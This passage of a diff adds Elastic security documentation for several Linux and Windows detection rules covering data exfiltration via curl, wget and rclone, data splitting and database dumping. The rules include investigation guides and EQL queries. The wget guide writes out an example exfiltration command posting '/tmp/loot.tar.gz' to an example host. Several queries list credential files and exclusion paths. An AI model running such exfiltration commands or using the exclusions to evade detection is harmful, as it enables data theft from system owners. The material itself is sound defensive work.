+*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Through Curl* + + +Curl is a command-line tool used for transferring data with URLs, commonly employed for legitimate data exchange tasks. However, adversaries can exploit curl to exfiltrate sensitive data by uploading compressed files to remote servers. The detection rule identifies suspicious curl usage by monitoring for specific command patterns and arguments indicative of data uploads, flagging abnormal activities for further investigation. + + +*Possible investigation steps* + + +- Review the process command line to confirm the presence of suspicious arguments such as "-F", "-T", "-d", or "--data*" and check for any compressed file extensions like .zip, .gz, or .tgz being uploaded to an external server. +- Investigate the parent process of the curl command to understand the context in which curl was executed, including the parent executable and its purpose. +- Examine network logs to identify the destination IP address or domain to which the data was being uploaded, and assess whether it is a known or suspicious entity. +- Check for any recent file creation or modification events on the host that match the compressed file types mentioned in the query, which could indicate data collection prior to exfiltration. +- Correlate this event with other security alerts or logs from the same host to identify any patterns of behavior that might suggest a broader compromise or data exfiltration attempt. + + +*False positive analysis* + + +- Legitimate data transfers using curl for system backups or data synchronization can trigger the rule. To manage this, identify and whitelist specific processes or scripts that are known to perform these tasks regularly. +- Automated system updates or software installations that use curl to download and upload data might be flagged. Exclude these processes by verifying their source and adding them to an exception list if they are from trusted vendors. +- Internal data transfers within a secure network that use curl for efficiency can be mistaken for exfiltration. Monitor the destination IP addresses and exclude those that are internal or known safe endpoints. +- Developers or system administrators using curl for testing or development purposes may inadvertently trigger the rule. Educate these users on the potential alerts and establish a process for them to notify security teams of their activities to prevent unnecessary investigations. +- Scheduled tasks or cron jobs that use curl for routine data uploads should be reviewed and, if deemed safe, added to an exception list to avoid repeated false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat. +- Terminate any suspicious curl processes identified by the detection rule to stop ongoing data transfers. +- Conduct a forensic analysis of the affected system to identify any additional malicious activities or compromised data. +- Change credentials and access keys that may have been exposed or used during the incident to prevent unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further action. +- Review and update firewall and network security rules to block unauthorized outbound traffic, especially to suspicious or unknown external servers. +- Implement enhanced monitoring and logging for curl usage and similar data transfer tools to detect and respond to future exfiltration attempts promptly. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name : ("curl", "curl.exe") and +( + process.args in ("-T", "--upload-file") or + ( + (process.args in ("-F", "-d", "--form") or process.args like "--data*") and process.command_line like "*@*" + ) +) and +( + process.command_line like ("*http:*", "*https:*", "*ftp:*", "*ftps:*") or + process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*" +) and +not process.args : ("https://*/ap/fleet/*", "https://*/api/saved_objects/*", "http*localhost:*", "http*127.0.0.*", "*ApiKey*", "http*.us-central1.run.app/*", "*Authorization*", "*session.id*", "http*.elastic-cloud.com*", "http*.elastic.dev*", "http*.elastic.cloud*", "http*.aws.found.io*", "http*.gcp.cloud.es.io*", "http*.cisco.com/api/*", "-u", "http://192.168*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol +** ID: T1048.001 +** Reference URL: https://attack.mitre.org/techniques/T1048/001/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-through-wget.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-through-wget.asciidoc new file mode 100644 index 0000000000..0133f0ef56 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-through-wget.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-potential-data-exfiltration-through-wget]] +=== Potential Data Exfiltration Through Wget + +Detects the use of wget to upload files to an internet server. Threat actors often will collect data on a system and attempt to exfiltrate it back to their command and control servers. Use of wget in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/gtfobins/wget/ +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Through Wget* + + +This rule flags Linux processes that launch wget with options that upload a local file via HTTP POST, a behavior used to exfiltrate staged data to an external server. Attackers gather files, compress them in /tmp, then execute wget --post-file=/tmp/loot.tar.gz https://example.com/upload from a non-interactive shell or cron job to covertly push the archive out over standard web traffic. + + +*Possible investigation steps* + + +- Pull the full command line to extract the posted file path, verify the file still exists, capture size/timestamps, and hash its contents to gauge sensitivity and origin. +- Review the process tree and session context (parent, user, TTY, cron/systemd/container) and correlate with recent logins or scheduler entries to determine whether this was automated or a remote shell action. +- Enrich the destination endpoint with DNS, WHOIS, certificate, proxy, and egress firewall logs, and check for prior communications from this host to the same domain/IP to assess legitimacy. +- Pivot 30–60 minutes prior on the host/user for staging activity such as tar/gzip in /tmp, bulk file collection, or discovery commands, and interrogate shell history and filesystem events tied to the posted file. +- If the file was removed post-upload, attempt recovery from EDR or backups and estimate exfil volume and content types via proxy or egress gateway logs to determine impact and drive containment. + + +*False positive analysis* + + +- A maintenance or monitoring script run via cron posts log archives or configuration snapshots using wget --post-file to an internal HTTP endpoint for routine diagnostics. +- An administrator or developer testing a web form or API uses wget --body-file to POST a sample file during troubleshooting, producing a benign one-off event. + + +*Response and remediation* + + +- Immediately isolate the host, terminate the offending wget process, block outbound HTTP(S) to the destination domain/IP seen in the command wget --post-file=/path/to/file https://example.com/upload, and quarantine the posted file path and its parent directory. +- Identify and disable any cron, systemd, or shell script that invoked wget with --post-file or --body-file (e.g., entries in /etc/cron.d/, user crontabs, or /home/user/.local/bin/upload.sh), delete the script, and revoke the invoking account’s API tokens and SSH keys. +- Remove staged archives and temp files referenced in the upload (e.g., /tmp/loot.tar.gz and /var/tmp/*.gz), delete companion tooling or collection scripts found alongside them, and reimage the host if system integrity cannot be assured. +- If the posted content includes credentials, source code, or customer data, rotate affected passwords/keys, invalidate tokens, notify data owners, and restore impacted systems or files from known-good backups. +- Escalate to incident response and initiate wider containment if the destination domain/IP is not owned by the organization or resolves to an anonymizing/VPS service, if multiple hosts exhibit wget --post-file from non-interactive sessions, or if the uploader executed as root. +- Harden by enforcing SELinux/AppArmor policies that restrict wget/curl from posting files, requiring egress web proxy allowlists for HTTP POST destinations, adding detections for wget --post-file/--body-file and curl --upload-file/-F, and removing wget from systems where it is unnecessary. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "wget" and ?process.parent.executable != null and ( + process.args like ("--post-file*", "--post-data*", "--body-file*") or + ( + process.command_line like ("*cat*", "*base64*") and + process.command_line like ( + "*/etc/passwd*", "*/etc/shadow*", "*~/.ssh/*", "*.env*", "*credentials*", "*/tmp/*", + "*/var/tmp/*", "*/dev/shm/*", "*/home/*/*", "*/root/*" + ) + ) +) and +( + process.command_line like ("*http:*", "*https:*") or + process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-via-rclone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-via-rclone.asciidoc new file mode 100644 index 0000000000..202d7a59b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-via-rclone.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-potential-data-exfiltration-via-rclone]] +=== Potential Data Exfiltration via Rclone + +Identifies abuse of rclone (or a renamed copy, e.g. disguised as a security or backup utility) to exfiltrate data to cloud storage or remote endpoints. Rclone is a legitimate file sync tool; threat actors rename it to blend with administrative traffic and use copy/sync with cloud backends (e.g. :s3:) and include filters to exfiltrate specific file types. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1048/ +* https://rclone.org/commands/rclone_copy/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Data Exfiltration via Rclone* + + +Rclone is a legitimate file synchronization tool. Threat actors abuse it (often renamed, e.g. to TrendFileSecurityCheck.exe) to exfiltrate data to S3, HTTP endpoints, or other cloud backends, using `copy`/`sync` with `--include` filters and high `--transfers` to move specific file types at scale. + + +*Possible investigation steps* + + +- Confirm the command line for `copy`/`sync`, cloud backend (e.g. `:s3:`, `:http`), and options like `--include`, `--transfers`, `-P`. +- If the process name is not `rclone.exe`, compare with `process.pe.original_file_name`; a mismatch indicates a renamed copy used to evade name-based detection. +- From the command line, identify the source path (e.g. UNC or local) and the remote backend (S3 bucket, HTTP endpoint) as the exfil destination. +- Review `--include`/`--exclude` and `--max-age`/`--max-size` to understand what data was targeted (documents, CAD, archives, etc.). +- Correlate with the process executable path (recently dropped?), parent process, and user; look for outbound network to the same backend. + + +*False positive analysis* + + +- Legitimate backup or sync jobs using rclone from a known path and config may trigger; allowlist by process path or `--config` path for approved rclone usage. + + +*Response and remediation* + + +- Terminate the rclone process and isolate the host if exfiltration is confirmed. +- Identify and revoke access to the destination (S3 bucket, API keys, etc.); preserve logs for the exfil session. +- Determine scope of data exposed and notify stakeholders; rotate credentials and secrets that may have been in exfiltrated paths. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "rclone.exe" or ?process.pe.original_file_name == "rclone.exe") and process.args : ("copy", "sync") and + not process.args : ("--config=?:\\Program Files\\rclone\\config\\rclone\\rclone.conf", "--config=?:\\Program Files (x86)\\rclone\\config\\rclone\\rclone.conf") and + not process.executable : ("?:\\Program Files*", "\\Device\\HarddiskVolume*\\Program Files*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-splitting-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-splitting-detected.asciidoc new file mode 100644 index 0000000000..04ac920f09 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-splitting-detected.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-data-splitting-detected]] +=== Potential Data Splitting Detected + +This rule looks for the usage of common data splitting utilities with specific arguments that indicate data splitting for exfiltration on Linux systems. Data splitting is a technique used by adversaries to split data into smaller parts to avoid detection and exfiltrate data. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Splitting Detected* + + +Data splitting utilities on Linux, such as `dd` and `split`, are typically used for managing large files by dividing them into smaller, more manageable parts. Adversaries exploit these tools to covertly exfiltrate data by splitting it into inconspicuous segments. The detection rule identifies suspicious use of these utilities by monitoring specific command-line arguments and excluding benign processes, thereby flagging potential exfiltration activities. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of data splitting utilities like 'dd', 'split', or 'rsplit' with suspicious arguments such as 'bs=*', 'if=*', '-b', or '--bytes*'. +- Examine the parent process name to ensure it is not a benign process like 'apport' or 'overlayroot', which are excluded in the rule. +- Investigate the source and destination paths specified in the process arguments to determine if they involve sensitive or unusual locations, excluding paths like '/tmp/nvim*', '/boot/*', or '/dev/urandom'. +- Check the user account associated with the process to assess if it has a history of legitimate use of these utilities or if it might be compromised. +- Analyze recent network activity from the host to identify any potential data exfiltration attempts, especially if the process involves external connections. +- Correlate this alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Processes related to system maintenance or updates, such as those initiated by the 'apport' or 'overlayroot' processes, may trigger false positives. Users can mitigate this by ensuring these parent processes are included in the exclusion list. +- Backup operations that use 'dd' or 'split' for legitimate data management tasks can be mistaken for exfiltration attempts. Exclude specific backup scripts or processes by adding their unique identifiers or arguments to the exclusion criteria. +- Development or testing environments where 'dd' or 'split' are used for creating test data or simulating data transfer can generate false alerts. Identify and exclude these environments by specifying their process names or argument patterns. +- Automated scripts that use 'dd' or 'split' for routine data processing tasks should be reviewed and, if benign, added to the exclusion list to prevent unnecessary alerts. +- Regular system operations involving '/dev/random', '/dev/urandom', or similar sources should be excluded, as these are common in non-malicious contexts and are already partially covered by the rule's exclusions. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the `dd`, `split`, or `rsplit` utilities with the flagged arguments. +- Conduct a thorough review of recent file access and modification logs to identify any unauthorized data handling or exfiltration attempts. +- Restore any potentially compromised data from secure backups, ensuring that the restored data is free from any malicious alterations. +- Implement stricter access controls and monitoring on sensitive data directories to prevent unauthorized access and manipulation. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are affected. +- Enhance monitoring and alerting for similar suspicious activities by integrating additional threat intelligence sources and refining detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and + ( + (process.name == "dd" and process.args like "bs=*" and process.args like "if=*") or + ( + process.name in ("split", "rsplit") and + ( + (process.args == "-b" or process.args like "--bytes*") or + (process.args == "-C" or process.args like "--line-bytes*") + ) + ) + ) and + not ( + process.parent.name in ("apport", "overlayroot", "nessus-agent-module") or + process.args like ( + "if=/tmp/nvim*", "if=/boot/*", "if=/dev/random", "if=/dev/urandom", "/dev/mapper/*", + "if=*.iso", "of=/dev/stdout", "if=/dev/zero", "if=/dev/sda", "/proc/sys/kernel/*" + ) or + ?process.parent.args in ("/etc/init.d/apport", "/usr/bin/spectre-meltdown-checker") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Data Transfer Size Limits +** ID: T1030 +** Reference URL: https://attack.mitre.org/techniques/T1030/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-database-dumping-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-database-dumping-activity.asciidoc new file mode 100644 index 0000000000..bbbf1afe87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-database-dumping-activity.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-potential-database-dumping-activity]] +=== Potential Database Dumping Activity + +This rule detects the use of database dumping utilities to exfiltrate data from a database. Attackers may attempt to dump the database to a file on the system and then exfiltrate the file to a remote server. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Database Dumping Activity* + + +This alert flags a Linux process starting a common database export tool, which matters because these utilities can quickly copy entire datasets into portable files for theft. An attacker with shell access may run mysqldump, pg_dump, or mongodump to dump customer records or application data to disk and then transfer the archive off the host over a separate network channel. + + +*Possible investigation steps* + + +- Review the full command line, parent and ancestor process chain, and execution user to determine whether the dump was launched by approved backup automation, an administrator shell, or an unexpected process such as a web server or scripting interpreter. +- Validate whether the account and host normally perform database backups by comparing the activity with change windows, cron or systemd timer jobs, deployment scripts, and historical executions on this and similar systems. +- Identify any dump artifacts created around the alert by looking for new large files, archive or compression activity, staging in temporary directories, or writes to mounted shares that could indicate preparation for transfer. +- Examine surrounding authentication and network activity for signs of compromise or exfiltration, including recent SSH or VPN access to the host, unusual database logins, and outbound connections or file transfers shortly after the dump began. +- If the activity is not authorized, isolate the host as appropriate and scope for related activity across the environment by searching for the same user, parent process, command pattern, and follow-on transfer utilities on other systems. + + +*False positive analysis* + + +- Scheduled backup or maintenance scripts may legitimately run pg_dump, mysqldump, or mongodump on Linux database hosts; confirm the execution user, parent process, and timing match documented cron or systemd jobs and that the output is written to the expected backup location. +- A DBA or application administrator may manually export data for migration, troubleshooting, or upgrade validation; verify the user account, shell history or change records, and command-line options align with an approved maintenance task and that no unusual outbound transfer follows the dump. + + +*Response and remediation* + + +- Quarantine the affected Linux host from the network except for approved management access, stop any active pg_dump, mysqldump, mariadb-dump, pg_dumpall, or mongodump activity and any follow-on compression or transfer processes, and block the account and destination used to stage the dump. +- Remove attacker persistence by deleting unauthorized cron jobs, systemd services or timers, startup scripts, SSH authorized_keys entries, web shells, and any scripts or binaries used to create, archive, or move the database export. +- Revoke and rotate the database credentials, local passwords, SSH keys, and API tokens exposed on the host, then review database users for newly granted backup, export, replication, or superuser privileges and disable anything not explicitly approved. +- Restore to a known-good state by rebuilding the host or reverting from a trusted image, validating the database against clean backups, and deleting dump files, archives, and copied datasets from temporary directories, mounted shares, and storage buckets. +- Escalate to incident response immediately if any dump file was transferred to an external server, cloud service, or user workstation, if similar dumping activity is found on other hosts, or if the attacker used a privileged administrator or database account. +- Harden the environment by limiting dump utilities to approved backup hosts and service accounts, enforcing MFA and least privilege for administrators, restricting outbound network paths from database servers, and alerting on new dump archives or unexpected database export tool execution. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("pg_dump", "pg_dumpall", "mysqldump", "mariadb-dump", "mongodump") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git 